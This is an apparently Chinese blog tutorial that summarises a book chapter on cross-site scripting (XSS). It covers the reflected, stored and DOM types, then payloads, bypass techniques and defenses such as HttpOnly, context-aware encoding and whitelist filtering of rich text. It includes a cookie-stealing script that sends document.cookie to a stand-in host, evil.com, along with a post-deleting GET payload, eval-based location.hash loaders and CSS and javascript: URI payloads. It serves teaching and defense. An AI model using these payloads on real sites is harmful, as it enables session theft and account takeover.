初识XSS攻击
初识XSS攻击
本文参考于《白帽子讲Web安全》第3章跨站脚本攻击(XSS),该书出版于2014年,因而现在可能存在一些新场景或新技术而未被提及,但本文对学习和了解XSS攻击仍具有重要价值。
1. 什么是XSS攻击?
XSS攻击即跨站脚本攻击,英文全称Cross Site Script,缩写为CSS,为了和层叠样式表(Cascading Style Sheet, CSS)区别,故叫做XSS。
XSS攻击是指黑客向网页中插入恶意脚本,从而使用户在浏览网页时,控制用户浏览器的攻击行为。
XSS根据效果的不同可分为三类:反射型XSS、存储型XSS、DOM型XSS。
1.1 反射型XSS
反射型XSS只是简单的将用户的输入“反射”给浏览器,即黑客往往需要诱导用户点击一个恶意链接,才能攻击成功。反射型XSS也叫“非持久型XSS”。
例如下面的例子,将用户输入的参数直接输出到页面上
<?php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>
通过提交一段HTML代码
http://www.a.com/test.php?param=<script>alert(/xss/)</script>
使得源码变为
<div><script>alert(/xss/)</script></div>
用户输入的Script脚本被写入的页面当中。
1.2 存储型XSS
存储型XSS会将用户的输入数据(恶意代码)存储在服务端,只要有用户访问,就会受其影响,因此这种XSS具有很强的稳定性,也叫做“持久性XSS“。
例如黑客发表一篇带有恶意javascript代码的博客文章后,任何访问该文章的用户,都会在其浏览器中执行该恶意代码,从而受其影响。
1.3 DOM型XSS
DOM型XSS是通过修改页面DOM节点形成的XSS,称为DOM Based XSS。
从效果上说,DOM型XSS也是反射型XSS,但DOM型XSS只涉及浏览器JavaScript和HTML层,不涉及服务器端,即不会经过服务器端的处理。
例如使用innerHTML
将用户数据直接当作HTML写入到页面中,原代码如下
var str = document.getElementById("input").text;
document.getElementById("t").innerHTML="<a href='" + str + "' >testLink</a?";
用户可以构造' onclick=alert(/xss/) //
从而变成<a href='' onclick=alert(/xss/)//' >testLink</a>
,点击该链接,脚本就会被执行。
或通过闭合原标签,插入新标签来利用该漏洞。如通过构造'><img src=# onerror=alert(/xss/) /><'
,从而使页面代码变为<a href=''><img src=# onerror=alert(/xss) /><''>testLink</a>
,从而执行注入的脚本。
2. XSS攻击
XSS Payload
XSS攻击成功后,攻击者可以向页面中植入恶意脚本,从而控制用户的浏览器。这种用来完成各种具体功能的恶意脚本,称为XSS Payload。
2.1 Cookie劫持
Cookie中保存了当前用户的登录凭证,通过Cookie,攻击者可以不通过密码,直接登录进用户的账户中。一种常见的XSS Payload就是通过读取浏览器Cookie对象,从而发起“Cookie劫持"。
举个栗子
攻击者先加载一个远程脚本
http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></script>"
真正的XSS Payload在远程脚本中,此法可避免直接在URL参数中写入大量脚本代码,如下
//evil.js
var img = document.createElement("img");
img.src = "http://www.evil.com/log?" + escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,并将document.cookie
作为参数发送到远程服务器上,即便http://www.evil.com/log
不存在,这个请求也可以在远程服务器的Web日志中留下记录
127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288
由此,就完成了Cookie的窃取。
在利用该Cookie时,先构造HTTP头,然后将该Cookie加入(或替换到)HTTP头中,就可以利用该Cookie直接登录进用户的账户。
Cookie的HttpOnly
标识可以防止Cookie劫持。
2.2 操纵浏览器
一个网站的应用,只需要接收HTTP的GET和POST请求即可完成所有的操作。而攻击者通过JavaScripit,就可以让浏览器发起这两种请求。
2.2.1 发起GET请求
例如某博客上有一篇文章,正常删除该文章的链接为
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
若该博客所在域的某页面存在XSS漏洞,对攻击者来说只需知道该文章的id就可以请求删除这篇文章。攻击者可以通过插入一张图片来发起一个GET请求
var img = document.createElement("img")
img.src = ”http://blog.sohu.com/manage/entry.do?m=delete&id=156713012“;
document.body.appendChild(img);
攻击者只需要让博客作者执行这段代码,就会把文章删除。
在具体的攻击中,攻击者通过XSS诱使用户执行XSS Payload。
2.2.2 发起POST请求
如果网站应用只接收POST请求,又该如何实施XSS攻击呢?
例如对于一个表单,攻击者可以通过JavaScript发出一个POST请求,提交此表单,从而进行攻击。
第一种方法,构造一个form表单,然后通过submit()
自动提交。
第二种方法,通过XMLHttpRequest
发送POST请求。
因此通过JavaScript模拟浏览器发包并不是一件困难的事。XSS攻击除了实施Cookie劫持外,还能通过模拟GET、POST请求操作用户浏览器。
2.3 XSS钓鱼
利用JavaScript在当前页面上绘制一个伪造的登录框,当用户在登录框输入用户名密码后,将其密码送到黑客服务器上。
2.4 信息搜集
2.4.1 浏览器版本
如何识别浏览器的版本呢?
第一种方法,通过XSS读取浏览器的UserAgent
对象,即
alert(navigator.userAgent);
可以得到
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
但浏览器的UserAgent
是可以伪造的,因此通过这种方法获得的信息不一定准确。
第二种方法,不同浏览器会各自实现一些独特的功能,而浏览器不同版本间也有细微的差别,通过分辨这些浏览器之间的差异,就能准确的判断出浏览器的版本,而且几乎不会误报。
2.4.2 已安装软件
知道用户使用的浏览器、操作系统后,可以进一步识别用户安装的软件。
例如早先在IE中,可以通过判断ActiveX控件的classid是否存在,来判断用户是否安装了该软件。通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件版本。
一些第三方软件也可能会泄露一些信息。
浏览器的扩展和插件也能被XSS Payload扫描出来。早期Firefox的插件列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件;对于Firefox的扩展,有安全研究者曾通过检测拓展的图标是否能加载出来来判断某个特定的拓展是否存在。
2.4.3 用户IP
通过XSS Payload还有办法获取一些客户端的IP地址。
JavaScript本身没有提供获取本地IP地址的能力,但可以借助第三方软件来完成。比如早期若客户端安装了Java环境,那么XSS就可以通过调用Java Applet的接口获取客户端本地IP地址及网络信息。
2.5 XSS Worm
XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的,但发起XSS Worm攻击也有一定的条件。
一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。
案例:Samy Worm、2007年百度空间蠕虫
3. XSS构造技巧
3.1 利用字符编码
由于不同的场景所使用的编码不同,这时就可能出现可以利用编码的漏洞。
如某度在一个<script>
标签中输出了一个变量,其中转义了双引号,并将变量包含在""
之内,因此输入";alert(/xss/);
会变成"\";alert(/xss/);"
,一般来说这里是没有XSS漏洞的。
但百度返回页面是GBK/GB2312编码的,因此%c1\
这两个字符组合在一起后会变成一个Unicode
字符,在Firefox下会认为这是一个字符,从而变成%c1";alert(/xss/);//
,发生XSS攻击。
这两个字节%c1\
组成了一个新的Unicode
字符,因此%c1
将转义字符\
吃掉了,从而绕开了系统的安全检查,成功实施了XSS攻击。
3.2 绕过长度限制
很多情况下,由于服务端的逻辑,产生XSS的地方会有变量的长度限制。
例如对下面代码
<input type=text value="$var"/>
服务器端限制$var
长度为20,若攻击者构造XSS
”><script> alert(/xss/)</script>
则这段XSS会被切割为
"><script>alert(/xss\
连一个完整的函数都写不完。
3.2.1 利用事件
攻击者可以利用事件(Event)来缩短所需的字节数
“onclick=alert(1)//
从而得到
<input type=test value="" onclick=alert(1)//"/>
但利用该方法能缩短的字节是有限的,最好的办法是把XSS Payload写到别处,然后通过简短的代码加载这段XSS Payload。
3.2.2 location.hash
根据HTTP协议,location.hash
的内容不会在HTTP包中发生,因此Web日志中并不会记录下location.hash
的内容,从而可以很好的隐藏攻击者的真实意图,因此可以将代码藏在locaion.hash
中。
location.hash
本身没有长度限制,但浏览器的地址栏有长度限制,但这个长度已经够写很长的XSS Payload了。
例如输入
” onclick="eval(location.hash.substr(1))
输出的HTML为
<input type="text" value="" onclick="eval(location.hash.substr(1))"/>
而XSS Payload代码则放在URL中(#
的后面)。
3.2.3 利用注释符
若能控制两个输入文本框,第二个文本框允许输入更多的字节,此时可以利用HTML的注释符号<!--...-->
把两个文本框间的HTML代码全部注释掉,从而打通两个标签。
3.3 base标签
<base>
标签的作用是定义页面上所有使用相对路径标签的hosting地址。
<base>
标签可以出现在页面的任何地方,若攻击者在页面中插入了base标签,就可以通过在远程服务器上伪造图片、链接或脚本,从而劫持当前页面中所有使用相对路径的标签。
3.4 window.name
因为window
对象是浏览器的窗体,而非document
对象,因此很多时候window
对象不受同源策略的限制。因此攻击者可以利用这个对象,实现跨域、跨页面传递数据。
对当前的window.name
对象赋值,也没有特殊字符的限制。
4. XSS防御
4.1 HttpOnly
浏览器禁止页面的JavaScript访问带有HttpOnly属性的Cookie。
严格的说,HttpOnly并非为了对抗XSS,HttpOnly解决的是XSS后的Cookie劫持攻击。
一个Cookie的使用过程如下。
1.浏览器向服务器发起请求,此时无Cookie。
2.服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie。
3.在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie。
而HttpOnly是在Set-Cookie时标记的。服务器可以设置多个Cookie值,而HttpOnly可以选择性的加在任何一个Cookie值上。
但HttpOnly不是万能的,XSS攻击带来的不光是Cookie劫持的问题,还有窃取用户信息、模拟用户身份执行操作等诸多严重后果,使用HttpOnly有助于缓解XSS攻击,但仍需其他能够解决XSS漏洞的方案。
4.2 输入检查
常见的Web漏洞如XSS、SQL Injection等,都要求攻击者构造一些特殊的字符,这些特殊的字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
输入检查的逻辑必须放在服务器端代码中实现,若放在客户端验证则很容易被攻击者绕过。目前普遍做法是在客户端和服务器端同时进行输入检查,客户端的输入检查可以阻挡大部分误操作的正常用户,从而节约服务器资源。
在XSS防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,若包含则进行字符过滤或编码。
比较智能的输入检查可能还会匹配XSS的特征,如包含<script>
、javascript
等敏感字符,这种输入检查方式称为XSS Filter。
XSS Filter在用户提交数据时获取变量并进行XSS检查,但此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解不完整,从而导致漏报或违背用户原本的意思。
4.3 输出检查
一般来说,除了富文本的输出外,变量在输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
编码分为很多种,针对HTML代码的编码方式是HtmlEncode
,JavaScript编码方式可以使用JavascriptEncode
。
JavascriptEncode与HtmlEncode的编码方式不同,它需要使用\
对特殊字符进行转义,在对抗XSS时,还要求输出的变量必须在引号内部,以免造成安全问题。
但很多开发者没有将输出变量放在引号内的习惯,这就只能使用一个更严格的JavascriptWEncode函数来保证安全——除了数字、字母外的所有字符,都是用十六进制\xHH
的方式进行编码,如此代码可以保证是安全的。
除了上面两种编码函数外,还有许多用于各种情况的编码函数,如XMLEncode
、JSONEncode
等。
在编码时应分清输出变量所处的语境,在正确的地方使用正确的编码。
4.4 各种场景下的XSS
4.4.1 HTML标签中输出
<div>$var</div>
这种场景下攻击方式一般是构造一个<script>
标签,或是任何能够产生脚本执行的方式。如
<div><script>alert(/xss/)</script></div>
<a href=#><img src=# onerror=alert(1)/></a>
防御方法是对变量使用HtmlEncode。
4.4.2 HTML属性中输出
<div id="abc" name="$var"></div>
可能的攻击方法,先闭合标签,再构造<script>
标签。
防御方法采用HtmlEncode。
在OWASP ESAPI
中推荐了一种更严格的HtmlEncode,除字母数字外,其他所有特殊字符都被编码为HTMLEntities
。
4.4.3 在script标签中输出
<script>
var x = "$var";
</script>
攻击方法,先闭合引号再实施XSS攻击。
防御使用JavascriptEncode。
4.4.4 在事件中输出
<a href=# onclick="funcA('$var')">test</a>
可能的攻击方法
<a href=# onclick="funcA('');alert(/xss/);//')">test</a>
防御方法使用JavascriptEncode。
4.4.5 在CSS中输出
<style>@import'http://ha.ckers.org/xss.css';</style>
<style>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</style>
<XSS STYLE="hebavior:url(xss.htc);">
<style>li {list-style-image:url("javascript:alert('xss')");}</style><UL><LI>XSS
<div style="background-image:url(javascript:alert('xss'))">
<div style="width: expression(alert('xss'));">
一般来说,尽可能禁止用户可控制的变量在style标签、HTML标签的style属性及CSS文件中输出。若一定有这样的需求,则推荐使用OWASP ESAPI中的encodeForCSS()
函数。
4.4.6 在地址中输出
URL: [Protocal][Host][Path][Search][Hash]
一般来说,在URL中的Path和Search使用URLEncode即可,它会将字符转化为"%HH"的形式,如空格是%20
。
若整个URL完全被用户控制,这时URL的Protocal和Host部分是不能使用URLEncode的,否则会改变URL的语义。攻击者可能构造伪协议(如javascript
、vbscript
、dataURI
)实施攻击。
<a href="javascript:alert(1);">test</a>
<a herf="data:text/html;base64;PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">test</a>
此时应先检查变量是否以http
开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击。在此之后再对变量进行URLEncode,即可保证不会有此类XSS发送了。
4.5 富文本处理
有时网站需要允许用户提交一些自定义的HTML代码,称之为“富文本”。
如何区分安全的富文本和有攻击性的XSS呢?
在处理富文本时,还是要回到输入检查的思路上来。检查输入的主要问题是不知道变量实际的输出语境,而对于用户提交的富文本,其语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性当中。
HTML是一种结构化的语言,通过htmlparser可以解析出HTML代码的标签属性和事件。
在过滤富文本时,事件应该被严格禁止,对于一些危险的标签,如<iframe>
、<script>
、<base>
、<form>
等,也应该严格禁止。
在标签选择和属性与事件的选择上应使用白名单,避免使用黑名单,如只允许<a>
、<img>
、<div>
等比较“安全”的标签存在。
如果一定要允许用户自定义样式,则只能像过滤富文本一样过滤CSS,这需要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。
有一些成熟的开源项目,实现了对富文本的XSS检查。
4.6 DOM型XSS防御
DOM型XSS是从JavaScript中输出数据到HTML页面里,而前文提到的都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM型XSS。
举个栗子
<script>
var x="$var";
document.write("<a href='"+x+"'>test</a>");
</script>
变量$var
输出在script标签内,可后来又被document.write
输出到HTML页面中。假如为了保护$var
直接在script标签内产生XSS,服务器对其进行了javascriptEncode。
<script>
var x="\x20\x27onclick\x3dalert\x281\x29\x3b\2f\x2f\x27";
document.write("<a href='"+x+"'>test</a>");
</script>
但$var
在document.write
时,仍然能够产生XSS。原因在于第一次执行javascriptEncode后,只保护了var x="$var";
,当输出数据到HTML页面时,浏览器重新渲染了页面。因此在script标签执行时已经对变量x进行了解码,之后document.write
再运行时,其参数变成了
<a href=' 'onclick=alert(1);//''>test</a>
由此产生XSS。
是不是因为对$var
用错了编码?如果换成HtmlEncode会怎样?再举一个栗子。
<script>
var x="1");alert(2)b;//"";
document.write("<a href=# onclick='alert(\""+x+"\")'>test</a>");
</script>
服务器把变量HtmlEncode后再输出到script中,然后变量x作为onclick事件的一个函数参数被document.write
到了HTML页面里。
<script>
var x="1");alert(2)b;//"";
document.write("<a href=# onclick='alert(\""+x+"\")'>test</a>");
</script>
<a href="#" onclick="alert("1");alert(2);//"")">test</a>
onclick执行了两次alert,第二次是被XSS注入的。
正确的防御方法是什么呢?
首先,在$var
输出到script时,应执行一次javascriptEncode;其次在document.write输出到HTML页面上时,分情况对待:如果输出到事件或脚本,要再做一次javascriptEncode;如果输出到HTML内容或属性,则要做一次HtmlEncode。
即从JavaScript输出到HTML页面,也相当于一次XSS输出的过程,需要分语境使用不同的编码函数。
触发DOM型XSS的地方有很多,这几个是JavaScript到HTML页面的必经之路:document.write()
、document.writeln()
、xxx.innerHTML=
、XXX.outerHTML
、innerHTML.replace
、document.attachEvent()
、window.attachEvent()
、document.location.replace()
、document.location.assign()
...
除服务器端直接输出变量到JavaScript外,还有几个地方可能称为DOM型XSS的输入方式:input框
、window.locaiont(herf、hash)
、window.name
、document.referrer
、document.cookie
、localstorage
、XMLHttpRequest返回数据
...
5. 其他
5.1 Mission Impossible
某些表面上看起来很鸡肋、无法利用的漏洞,随着时间对推移,最后借助某些工具,也可能被人利用。(一切皆有可能)
5.2 JavaScript开发框架
在Web前端开发中,常使用一些框架,可以快速简洁地完成开发任务。一般成熟的开发框架都会注意自身的安全问题,但代码是人写的,高手也偶尔会犯错。
在开发过程中,除了需要关注框架本身的安全性外,开发者也要提高安全意识,理解并正确的使用开发框架。
初识XSS攻击的更多相关文章
- 防御XSS攻击-encode用户输入内容的重要性
一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...
- 防止XSS攻击的方法
什么是XSS? 使用Jsoup来防止XSS攻击 Jsoup官网 Jsoup中文 maven包引入 <dependency> <groupId>org.jsoup</gro ...
- PHP通用的XSS攻击过滤函数,Discuz系统中 防止XSS漏洞攻击,过滤HTML危险标签属性的PHP函数
XSS攻击在最近很是流行,往往在某段代码里一不小心就会被人放上XSS攻击的代码,看到国外有人写上了函数,咱也偷偷懒,悄悄的贴上来... 原文如下: The goal of this function ...
- 前端XSS攻击和防御
xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...
- XSS攻击及防御
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...
- XSS攻击
什么是XSS? http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html XSS攻击及防御? http://blog.csdn. ...
- 文本XSS攻击过滤
在FCK或百度编辑器等常用富文本编辑器中,通常是会被XSS攻击 处理方法: 文本框模拟输入了以下文本 <span style="dispaly:none" onclick=& ...
- XSS攻击的解决方法
在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招“独孤九剑”能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今 ...
- 前端安全之XSS攻击
XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”.有人将XSS攻击分为三种,分别是: 1. Reflected XSS(基于反射 ...
随机推荐
- CAD_DWG图Web可视化一站式解决方案-唯杰地图-vjmap
背景 DWG图是AutoCAD是私有格式,只能在CAD软件上编辑查看,如何发布至Web上做数据展示,GIS分析应用开发,一直是业内头疼的事情. 传统的办法采用的解析AutoCAD图形绘制,并封装成Ac ...
- Framework - 性能统计
摘要 近期对接客户时,客户方希望提供 SDK 的性能.内存.隐私支持等一些数据,所以就对 SDK 进行了一些性能测试. 在用表格统计整理这些数据时,突然发现,经常用统计的方式看 SDK 的相关数据,似 ...
- Shiro反序列化的检测与利用
1. 前言 Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证.授权.密码套件和会话管理等功能. 2. 环境搭建 环境搭建vulhub 3. 如何发现 第一种情况 ...
- Tekton+Argocd实现自动化流水线
目录 什么是tekton 安装tekton 安装Dashboard Tekton提供的CRD 安装argocd 创建argocd 安装客户端 连接argocd server 创建App 集群中查看效果 ...
- Codeforces1575D
思路分析 此题采用dfs,注意X选中了之后所有的X值相同,所以需要一个flag来存储X的值. 注意前导0要单独讨论,然后就是当'X'或者'_'在第一位时不能选0,其它位可以选0 - 9 任意一个数. ...
- 用例图示例:使用系统边界表示多个项目 / Using System Boundary to model Multiple Projects in Use Case Diagram
什么是用例图? 用例是一种捕获系统功能需求的技术.用例描述了一个独立于实现细节的期望行为.用例的目标是捕获用户设想的所有系统级功能.从用户的角度来看,用例是关于系统应该做什么的.用例捕获系统利益相关者 ...
- 第一次Alpha Scrum Meeting
本次会议为Alpha阶段第一次Scrum Meeting会议 会议概要 会议时间:2021年4月22日 会议地点:北航Inspiration Space咖啡厅 会议时长:1小时 会议内容简介:本次会议 ...
- Github Actions 实践
Github Actions 实践 Github Actions 是 Github 的持续集成服务,通过在 repo 发生特定的行为时执行指定的命令实现自动测试.自动部署等功能. 基本术语 workf ...
- 大厂面试题分享:如何让(a===1&&a===2&&a===3)的值为true?
当我第一次看到这一题目的时候,我是比较震惊的,分析了下很不合我们编程的常理,并认为不大可能,变量a要在同一情况下要同时等于1,2和3这三个值,这是天方夜谭吧,不亚于哥德巴赫1+1=1的猜想吧,不过一切 ...
- 单片机I/O口推挽与开漏输出详解(力荐)
推挽输出:可以输出高,低电平,连接数字器件;推挽结构一般是指两个三极管分别受两互补信号的控制,总是在一个三极管导通的时候另一个截止. 开漏输出:输出端相当于三极管的集电极. 要得到高电平状态需要上拉电 ...